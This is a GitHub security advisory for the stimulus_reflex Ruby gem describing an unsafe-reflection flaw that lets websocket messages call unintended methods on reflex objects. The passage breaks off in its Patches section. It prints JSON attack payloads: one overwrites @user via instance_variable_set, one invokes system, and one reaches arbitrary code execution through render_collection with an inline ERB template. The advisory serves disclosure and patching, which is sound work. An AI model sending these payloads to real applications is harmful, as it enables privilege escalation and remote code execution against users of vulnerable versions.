GitHub Security Advisory: GHSA-f78j-4w3g-4q65
Package: stimulus_reflex (RUBYGEMS)
Severity: HIGH (CVSS 8.8)
CWE: CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Vulnerable versions: >= 3.5.0.pre0, < 3.5.0.rc4
Patched in: 3.5.0.rc4

Summary: StimulusReflex arbitrary method call

Details:
### Summary
More methods than expected can be called on reflex instances. Being able to call some of them has security implications.

### Details
To invoke a reflex a websocket message of the following shape is sent:
```json
{ 
  "target": "[class_name]#[method_name]", 
  "args": [] 
}
```
The server will proceed to instantiate `reflex` using the provided `class_name` as long as it extends `StimulusReflex::Reflex`.
It then attempts to call `method_name` on the instance with the provided arguments [ref](https://github.com/stimulusreflex/stimulus_reflex/blob/0211cad7d60fe96838587f159d657e44cee51b9b/app/channels/stimulus_reflex/channel.rb#L83):

```ruby
method = reflex.method method_name
required_params = method.parameters.select { |(kind, _)| kind == :req }
optional_params = method.parameters.select { |(kind, _)| kind == :opt }

if arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
  reflex.public_send(method_name, *arguments)
end
```

This is problematic as `reflex.method(method_name)` can be more methods than those explicitly specified by the developer in their reflex class. A good example is the `instance_variable_set` method.

<details>

<summary>Read more</summary>
Let's imagine a reflex that uses `@user` as a trusted variable in an `after_reflex` callback.

This variable can be overwritten using the following message:
```json
{
  "target": "ChatReflex#instance_variable_set", 
  "args": ["@user", "<admin-id>"]
}
```

Here are other interesting methods that were found to be available for the [ChatReflex sample reflex](https://github.com/hopsoft/stimulus_reflex_expo/blob/dcce8c36a6782d1e7f57f0e2766a3f6fd770b3b1/app/reflexes/chat_reflex.rb)
- `remote_byebug`: bind a debugging server
- `pry`: drop the process in a REPL session

All in all, only counting  `:req` and `:opt` parameters helps.
For example around [version 1.0](https://github.com/stimulusreflex/stimulus_reflex/blob/1f610b636abfed27de2c61104aebd1ac98180d5b/lib/stimulus_reflex/channel.rb#L41) only `.arity` was checked which allowed access to the `system` method (`.arity == -1`)
```json
{
  "target": "ChatReflex#system", 
  "args": ["[command here]"]
}
```
Using `public_send` instead of `send` does not help but the following payloads **do not** work since `:rest` parameters are not counted in the current version
```json
{
  "target": "ChatReflex#send", 
  "args": ["system", "[command here]"] 
}
```
```json
{ 
  "target": "ChatReflex#instance_eval", 
  "args": ["system('[command here]')"]
}
```

</details>

Pre-versions of 3.5.0 added a `render_collection` method on reflexes with  a `:req` parameter. Calling this method could lead to arbitrary code execution:
```json
{
  "target": "StimulusReflex::Reflex#render_collection", 
  "args": [
    { "inline":  "<% system('[command here]') %>" }
  ]
}
```

### Patches

Patches are [available on RubyGems](https://rubygems.org/gems/stimulus_reflex) and on [NPM](https://npmjs.org/package/stimulus_re